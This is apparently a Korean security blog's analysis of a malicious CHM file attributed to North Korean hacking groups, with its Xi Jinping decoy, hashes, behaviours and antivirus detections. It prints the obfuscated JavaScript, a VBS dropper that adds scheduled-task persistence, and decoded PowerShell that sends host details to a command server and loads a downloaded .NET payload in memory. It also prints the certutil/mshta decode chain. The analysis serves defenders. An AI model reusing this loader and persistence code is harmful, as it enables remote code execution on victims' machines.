오늘은 2017년 Cisco Talos 연구원이 처음 발견했으며, 2014년부터 탐지되지 않은 채 고도의 타깃 공격으로 하는 북한의 해킹 단체 Thallium, APT37과 관련된 해킹 단체이며 Kimsuky(김수키)일 가능성도 있습니다.
해당 악성코드는 chm 확장자로 돼 있으며 해쉬값은 다음과 같습니다. 여기서 이야기하는 chm은 Microsoft Compiled HTML Help는 HTML 페이지, 색인 및 기타 탐색 도구로 구성된 Microsoft 독점 온라인 도움말 형식 모음입니다.
파일명 1.chm
사이즈:225 KB
CRC32:081d4f34
MD5:320d2e841d145f48f513eba516c1e796
SHA-1:c7f303dc0afef28d9d5828eab0aad7ffe04299f9
SHA-256:e0b131332683a6e8841853c2c898ae0bd8b3015a2e95297727591427ba483605
SHA-512:72a67dfc88d121a49e41f947fced209d9a6173016af4423ca05694508b52e6b2c7bc1bb4ab63db6ae2a94cd71613d98bf51e3da727e3280bd6795f9bfbca288b
일단 해당 악성코드인 1.chm를 실행을 하면 다음과 같은 화면을 볼 수가 있습니다.
시진핑 주석이 나오고 다음과 같은 내용이 나오는 것을 확인할 수가 있습니다.
Xi Jinping’s path to power: From outcast to 'emperor'
Xi has harnessed a masterful combination of strategic planning and an uncanny aptitude to lead allies and enemies alike to underestimate his ambition to pave a path to becoming the most powerful Chinese leader since Mao Zedong.
Even when the Chinese Communist Party leadership chose Xi as leader in 2012, they believed he could be easily controlled, said Andrew J. Nathan, a political science professor at Columbia University and an authority who focuses on Chinese politics and foreign policy
They saw him as a sort of malleable, loyal guy who would treat them as elders in the right way and not rock the boat,” Nathan said. “He has surprised us with his fierce control-freak mentality of taking over everything and purging a lot of people and consolidating power.”
Xi revealed his more authoritarian side quickly after taking power. In a speech in December 2012, he dismissed democracy as dangerous and argued that China needed to do whatever it takes to avoid a fate like the downfall of the Soviet Union after the end of its one-party communist system in 1989.
해당 영어를 구글 번역기 돌리면 다음과 같습니다.
시진핑 집권의 길: 왕따에서 '황제'로
Xi는 마오쩌둥 이후 가장 강력한 중국 지도자가 되기 위한 길을 닦으려는 그의 야망을 과소평가하도록 동맹국과 적국 모두를 이끄는 뛰어난 재능과 전략 계획의 뛰어난 조합을 활용했습니다.
중국 공산당 지도부는 2012년에 시진핑을 지도자로 선택했을 때도 그가 쉽게 통제될 수 있다고 믿었다고 컬럼비아 대학의 정치학 교수이자 중국 정치 및 외교 정책에 중점을 둔 권위자 앤드루 J. 네이선은 말했습니다.
그들은 그를 올바른 방식으로 장로로 대하고 배를 흔들지 않는 일종의 유연하고 충성스러운 사람으로 보았습니다.”라고 Nathan이 말했습니다. 그는 모든 것을 장악하고 많은 사람들을 숙청하고 권력을 강화하려는 그의 맹렬한 통제 괴물 정신으로 우리를 놀라게 했다.
시진핑은 권력을 잡은 직후 권위주의적인 면모를 드러냈다. 2012년 12월 연설에서 그는 민주주의를 위험한 것으로 일축하고 중국이 1989년 일당 공산주의 체제가 끝나고 소련의 몰락과 같은 운명을 피하고자 무엇이든 해야 한다고 주장했습니다.
뭐 이렇게 돼 있습니다. 뭐 간단하게 이야기하면 시진핑 잘난 사람이라는 글로 돼 있습니다. 내부 파일에서는 러시아 어로 작성된 이미지 파일이 포함된 것을 확인할 수가 있었습니다.
그리고 해당 악성코드인 chm 파일을 열면 다음과 같이 자바 스크립트가 실행이 되게 돼 있습니다.
<script>
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))(+)((c=c%a)>35?String.fromCharCode(c(+)29):c.toString(36))};
if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}
k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};
while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}
return p}('1o S(){C I=Z.15.16;C P=I.O(1).17(":");C U=I.O(1).18(":");C
V=I.O(P+2,U-P-2);1d 1e(V)};C
W="%D%M%11%12%10%e%y%0%b%7%f%1h%0%l%6%3%i%i%b%7%f%0%5%l%6%i%b%7%T%3%7%p%N%N%m%3%1i%A%7%N%q%q%A%n%n%l%q%A%1k%R%Q%Q(%)A%m%m%3%3%m%m%R%p%Q%3%n%n%5%0%13%b%7%8%w%f%n%0%w%4%b%z%w%8%f%n%u"+"%D%r%x%H%x%t%0%d%3%k(%)4%f%5%e%c%k%k%3%d%7%5%0%s%3%6%v%4%f%5%J%w%c%j%8%e%v%8%5%u"+"%D%r%x%H%x%t%0%d%3%k%4%f%5%(L)%8%4%k%n%5%0%s%3%6%v%4%f%G%B%k%i%w%8%3%B%0%s%p%i%l%j%b%o%8%T%E%e%j%4%3%8%4%M%p%14%4%l%8(%)E%5%X%J%l%j%b%o%8%h%J%w%4%6%6%5%F%h%H%v%d%E%5%l%k%7%0%K%l%0%7%4%6%0%9%3%o%o%7%3%8%3%9%a(%)a%e%e%6%4%3%d%4%j%h%s%p%i%0%g%g%0%7%4%6%0%9%y%t%r%9%a%a%b%d%q%c%h%6%c%z%0%g%g%0%q%b%d%7(%)i%8%j%0%K%p%0%5%5%1j%Y%1f%m%L%1c%1g%c%5%5%0"+"%5%5"+S()+"%5%5%0%u%0%9%y%t%r%9%a%a%b%d%q(%)c%h%6%c%z%0%g%g%0%e%4%j%8%v%8%b%6%0%A%7%4%l%c%7%4%0%9%y%t%r%9%a%a%b%d%q%c%h%6%c%z%0%9%3(%)o%o%7%3%8%3%9%a%a%e%e%6%4%3%d%4%j%h%s%p%i%0%g%g%0%9%3%o%o%7%3%8%3%9%a%a%e%e%6%4%3%d%4%j(%)h%s%p%i%0%g%g%0%7%4%6%0%9%y%t%r%9%a%a%b%d%q%c%h%6%c%z%5%B%m%F%F%E%X%b%d%7%c%13%h%e%6%c%(i)%4%F%G%u"+"%D%r%x%H%x%t%0%d%3%k%4%f%5%L%8%4%k%Y%5%0%s%3%6%v%4%f%G%1m%B%1l%B%n%m%m%G%u"+(")%D%K%M%11%12%10%e%y%u";Z.1b("1a").19=1n(W);',62,87,'20|||61|65|22|6C|64|74|25|5C|69|6F|(6)E|43|3D|26|2E|73|72|6D|63|30|31|70|62|66|50|76|4D|3E|75|68|41|54|67|2D|2C|var|3C|28|29|(2)7|52|pathName|53|2F|49|4F|38|substr|index0|37(|)33|krih94509f|3A|index1|result|gjr09R|57|(302|document|45|42|4A|77|6A|location|pathname|indexOf|lastIndexOf|innerHTML|div|getEle(m)entById|48|return|encodeURIComponent|56|4E|78|36|55|39|34|35|decodeURIComponent|function'(.)split('|'),0,{}))
일단 개인적으로 러시아 어는 전혀 못하는 관계로 해당 이미지를 캡처해서 OCR를 돌려 보았습니다.
그러면 다음과 같은 결과를 얻을 수가 있었습니다.
ФЕДЕРАЛЬНОЕ СОБРАНИЕ РОССИЙСКОЙ ФЕДЕРАЦИИ
КОМИТЕТ СОВЕТА ФЕДЕРАЦИИ ПО МЕЖДУНАРОДНЫМ ДЕЛАМ
ул. Б.Дмитровка, д. 26. Москва. 103426
"Ж 2022 г. №.
Заместителю директора Института Китая и современной Азии РАН, д.э.н., проф.
В.Я. ПОРТЯКОВУ
Нахимовский пр-т, д.32, г. Москва, 117997
Уважаемый Владимир Яковлевич
러시아연방 연방의회
연맹 이사회 국제 문제 위원회
성. B. Dmitrovka, 26. 모스크바. 103426
"W 2022 아니오.
러시아 과학 아카데미 중국 및 현대 아시아 연구소 부소장, 경제학 박사, 교수.
V.Ya. 포티아코프
Nakhimovsky pr-t, 32, 모스크바, 117997
친애하는 블라디미르 야코블레비치
대충 러시아 연방 의회 관련 내용인 것 같기도 합니다.
C:\Users\???\AppData\Roaming
부분에 CCleaner.vbs 파일을 생성하고 해당 생성된 파일을 열어보면 다음과 같은 명령어가 있는 것을 확인할 수가 있습니다.
Set sh= CreateObject("WScript.Shell")
cl= "cmd /c schtasks /create /sc minute /mo 1 /tn ""{R9D0S9F-E16E-4389-B82E-11E246F9E6F6}"" /tr "" " & WScript.ScriptFullName & """ /f"
sh.Run cl, 0
sh.Run "pOwErsHeLl -ep bypass -encodedCommand ""JAB1AHIAbAA9A(C)cAaAB0AHQAcAA6AC8ALwB(o)ADkAOAA3AGYAdAAuAGMAMQAuAGIAaQB6AC8AZABuAC4AcABoAHAAPwBuAGEAbQBlAD0AJwArAFsAUwB5AHM(A)dABlAG0ALgBFAG4AdgBpAHIAbwBuAG0AZQBuAHQAXQA6ADoATQBhAGMAaABpAG4AZ(Q)BOAGEAbQBlACsAJwAmAHAAcgBlAGYAaQB4AD0AdAB0ACYAdABwAD0AJwArAFsAUwB5AHMAdABlAG0ALgBFAG4A(d)gBpAHIAbwBuAG0AZQBuAHQ(A)XQA6ADoATwBTAFYAZQByAHMAaQBvAG4AOwAkAGMAbABpAGUAbgB0AD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAcgBlA(H)AAPQAkAGMAbABpAGUAbgB0AC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJAB1AHIAbAApADsAJABiA(H)UAZgA9AFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJAByA(G)UAcAApADsAJABiAGkAbgA9AFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtA(G)IAbAB5AF0AOgA6AEwA(b)wBhAGQAKAAkAGIAdQBmACkAOwAkAGUAcAA9ACQAYgBpAG4ALgBFAG4AdAByAHkAUAB(v)AGkAbgB0ADsAJABlAHAA(L)gBUAG8AUwB0AHIAaQBuAGcAKAApADsAJABlAHAALgBJAG4AdgBvAGsAZQAoACQAb(g)B1AGwAbAAsACQAbgB1AGwA(b)AApADsA""", 0
이런 파워셀(Powershell)로 인코딩된 것을 알기 쉽게 디코딩을 하면 다음과 같습니다.
$url='http://h987ft.c1(.)biz/dn.php?name='+[System.Environment]::MachineName+'&prefix=tt&tp='+[System.Environment]::OSVersion;$client=new-object System.Net.WebClient;$rep=$client.DownloadString($url);$buf=[Convert]::FromBase64String($rep);$bin=[System.Reflection.Assembly]::Load($buf);$ep=$bin.EntryPoint;$ep.ToString();$ep.Invoke($null,$null);
되고 해당 악성코드는 컴퓨터에서 다음과 같은 동작을 시작합니다.
C:\Windows\System32\cmd.exe" /c schtasks /create /sc minute /mo 1 /tn "{R9D0S9F-E16E-4389-B82E-11E246F9E6F6}" /tr " C:\Users\user\AppData\Roaming\CCleaner.vbs" /f
C:\Windows\System32\cmd.exe" /c schtasks /create /sc minute /mo 1 /tn "{R9D0S9F-E16E-4389-B82E-11E246F9E6F6}" /tr " C:\Users\user\AppData\Roaming\CCleaner.vbs" /f
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass -encodedCommand "JAB1AHIAbAA9ACcAaAB0AHQAc(A)A6AC8ALwBoADkAOAA3AGYAdAAuAGMAMQAuAGIAaQB6AC8AZABuAC4AcABoAHAAPwBuAGEAbQBlAD0AJwArA(F)sAUwB5AHMAdABlAG0ALgBFAG4AdgBpAHIAbwBuAG0AZQBuAHQAXQA6ADoATQBhAGMAaABpAG4AZQBOAGEAbQBlAC(s)AJwAmAHAAcgBlAGYAaQB4AD0AdAB0ACYAdABwAD0AJwArAFsAUwB5AHMAdABlAG0ALgBFAG4AdgBpAHIAbwBuA(G)0AZQBuAHQAXQA6ADoATwBTAFYAZQByAHMAaQBvAG4AOwAkAGMAbABpAGUAbgB0AD0AbgBlAHcALQBvAGIAagBlA(G)MAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAcgBlAHAAPQAkAGMAbABpA(G)UAbgB0AC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJAB1AHIAbAApADsAJABiAHUAZgA9AFsAQwBvA(G)4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJAByAGUAcAApADsAJABiA(G)kAbgA9AFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6A(E)wAbwBhAGQAKAAkAGIAdQBmACkAOwAkAGUAcAA9ACQAYgBpAG4ALgBFAG4AdAByAHkAUABvAGkAbgB0ADsAJA(B)lAHAALgBUAG8AUwB0AHIAaQBuAGcAKAApADsAJABlAHAALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACQA(b)gB1AGwAbAApADsA
C:\Windows\System32\certutil.exe Certutil -decode C:\Users\user\AppData\Local\Temp\\info.log C:\Users\user\AppData\Roaming\\CCleaner.vbs
C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
C:\Windows\System32\schtasks.exe schtasks /create /sc minute /mo 1 /tn "{R9D0S9F-E16E-4389-B82E-11E246F9E6F6}" /tr " C:\Users\user\AppData\Roaming\CCleaner.vbs" /f
C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
C:\Windows\System32\findstr.exe findstr /b "U2V0IHNo" "C:\Users\user\Desktop\1.chm"
C:\Windows\System32\cmd.exe" /c schtasks /create /sc minute /mo 1 /tn "{R9D0S9F-E16E-4389-B82E-11E246F9E6F6}" /tr " C:\Users\user\AppData\Roaming\CCleaner.vbs" /f
C:\Windows\System32\cmd.exe" /c schtasks /create /sc minute /mo 1 /tn "{R9D0S9F-E16E-4389-B82E-11E246F9E6F6}" /tr " C:\Users\user\AppData\Roaming\CCleaner.vbs" /f
C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
C:\Windows\hh.exe" C:\Users\user\Desktop\1.chm
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass -encodedCommand "JAB1AHIAbAA9ACcAaAB0AHQAcAA6AC8ALwB(o)ADkAOAA3AGYAdAAuAGMAMQAuAGIAaQB6AC8AZABuAC4AcABoAHAAPwBuAGEAbQBlAD0AJwArAFsAU(w)B5AHMAdABlAG0ALgBFAG4AdgBpAHIAbwBuAG0AZQBuAHQAXQA6ADoATQBhAGMAaABpAG4AZQBOAGEAbQBlACsAJ(w)AmAHAAcgBlAGYAaQB4AD0AdAB0ACYAdABwAD0AJwArAFsAUwB5AHMAdABlAG0ALgBFAG4AdgBpAHIAbwBuAG0AZ(Q)BuAHQAXQA6ADoATwBTAFYAZQByAHMAaQBvAG4AOwAkAGMAbABpAGUAbgB0AD0AbgBlAHcALQBvAGIAagBlAGMA(d)AAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAcgBlAHAAPQAkAGMAbABpAGUA(b)gB0AC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJAB1AHIAbAApADsAJABiAHUAZgA(9)AFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJAByAGUAc(A)ApADsAJABiAGkAbgA9AFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAGIAdQBmACkAOwAkAGUAcAA9ACQAYgBpAG4ALgBFAG4AdAByAHkAUABvAGkA(b)gB0ADsAJABlAHAALgBUAG8AUwB0AHIAaQBuAGcAKAApADsAJABlAHAALgBJAG4AdgBvAGsAZQAoACQAbgB1AG(w)AbAAsACQAbgB1AGwAbAApADsA
C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" C:\Users\user\AppData\Roaming\CCleaner.vbs"
C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe C:\Users\user\AppData\Roaming\CCleaner.vbs"
C:\Windows\System32\schtasks.exe schtasks /create /sc minute /mo 1 /tn "{R9D0S9F-E16E-4389-B82E-11E246F9E6F6}" /tr " C:\Users\user\AppData\Roaming\CCleaner.vbs" /f
C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
C:\Windows\System32\cmd.exe" /c del C:\Users\user\AppData\Roaming\\CCleaner.vbs && del C:\Users\user\AppData\Local\Temp\\info.log && findstr /b "U2V0IHNo" C:\Users\user\Desktop\1.chm" > C:\Users\user\AppData\Local\Temp\\info.log && Certutil -decode C:\Users\user\AppData\Local\Temp\\info.log C:\Users\user\AppData\Roaming\\CCleaner.vbs && C:\Users\user\AppData\Roaming\\CCleaner.vbs && del C:\Users\user\AppData\Local\Temp\\info.log
C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe C:\Users\user\AppData\Roaming\CCleaner.vbs"
C:\Windows\System32\schtasks.exe schtasks /create /sc minute /mo 1 /tn "{R9D0S9F-E16E-4389-B82E-11E246F9E6F6}" /tr " C:\Users\user\AppData\Roaming\CCleaner.vbs" /f
C:\Windows\System32\mshta.exe" vbscript:(CreateObject("WScript.Shell").Run("cmd /c del %appdata%\\CCleaner.vbs && del %TMP%\\info.log && findstr /b ""U2V0IHNo"" ""C:\Users\user\Desktop\1.chm"" > %TMP%\\info.log && Certutil -decode %TMP%\\info.log %appdata%\\CCleaner.vbs && %appdata%\\CCleaner.vbs && del %TMP%\\info.log",0))(Window.Close)
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass -encodedCommand "JAB1AHIAbAA9ACcAaAB0AHQAcAA6AC8ALwB(o)ADkAOAA3AGYAdAAuAGMAMQA(u)AGIAaQB6AC8AZABuAC4A
Wscript가 파워쉘을 시작
PowerShell 실행 정책 우회
암호화된 powershell cmdline 옵션
schtasks.exe 또는 at.exe를 사용하여 작업 일정 추가와 수정
사용자 디렉터리 내에 파일 생성
Javascript 또는 VBS 스크립트용 WSH 타이머
강제 삭제 명령으로 배치 파일 삭제
쓰기 감시로 메모리 할당
동적 분석을 방해하는 휴면(회피 루프) 가능
디버그 회피
시스템 정보 검색
장치의 볼륨 정보(이름, 일련번호 등) 조회
암호화 시스템 GUID를 쿼리
소프트웨어 정책 읽기
가상화/샌드박스 회피
시스템 지문 정보 수집
이메일 무단수집(Microsoft Outlook 파일 경로를 검색)
DNS 조회 수행
HTTP를 통해 웹 서버에서 파일을 다운로드
등을 수행합니다.
악성코드가 사용하는 주소는 다음과 같습니다.
http://h987ft.c1(.)biz/dn.php?name={}&prefix=tt&tp={}
VirusTotal(바이러스토탈) 2022-11-16 11:07:46 UTC 기준 탐지하는 보안 업체들은 다음과 같습니다.
ALYac:Trojan.Dropper.CHM
ESET-NOD32:VBS/Agent.QFY
Kaspersky:HEUR:Trojan.Script.Generic
Lionic:Trojan.HTML.Generic.4!c
QuickHeal:HTML.Trojan.Agent.47205
Symantec:Downloader
Tencent:Script.Trojan.Generic.Msmw
TrendMicro:Trojan.Win32.POWLOAD.CMPNRE
TrendMicro-HouseCall:Trojan.Win32.POWLOAD.CMPNRE
기본적으로 보안 수칙은 언제나 똑같습니다. 백신 프로그램은 항상 AV-TEST에서 인증받은 보안 제품을 사용하고 그리고 항상 실시간 감시, 실시간 업데이트 를 통해서 악성코드를 예방할 수가 있습니다.
'소프트웨어 팁 > 보안 및 분석' 카테고리의 다른 글
북한 해킹 조직 김수키(Kimsuky)에서 만든 악성코드-123.dotm(2023.2.2) (0) | 2023.02.03 |
---|---|
북한 해킹 단체가 만든 카카오톡 피싱 사이트-accountskakao bim mgn com(2023.2.2) (0) | 2023.02.02 |
DHL 사칭 피싱 메일-noreply@dhl(.)com(2023.1.25) (0) | 2023.02.02 |
ETC パーソナルカード サービス 피싱 사이트-etcamaisei swftc cc(2023.1.29) (0) | 2023.01.29 |
Galaxy App Store(갤럭시 스토어)취약점 보안 업데이트 (1) | 2023.01.23 |
KB5021751 마이크로소프트 오피스 지원되지 않는 버전 알림 (0) | 2023.01.23 |
윈도우 10 KB5019275 미리 보기 업데이트 (0) | 2023.01.21 |
파이어폭스 109(Firefox 109) Manifest V3 지원 및 보안 업데이트 (0) | 2023.01.21 |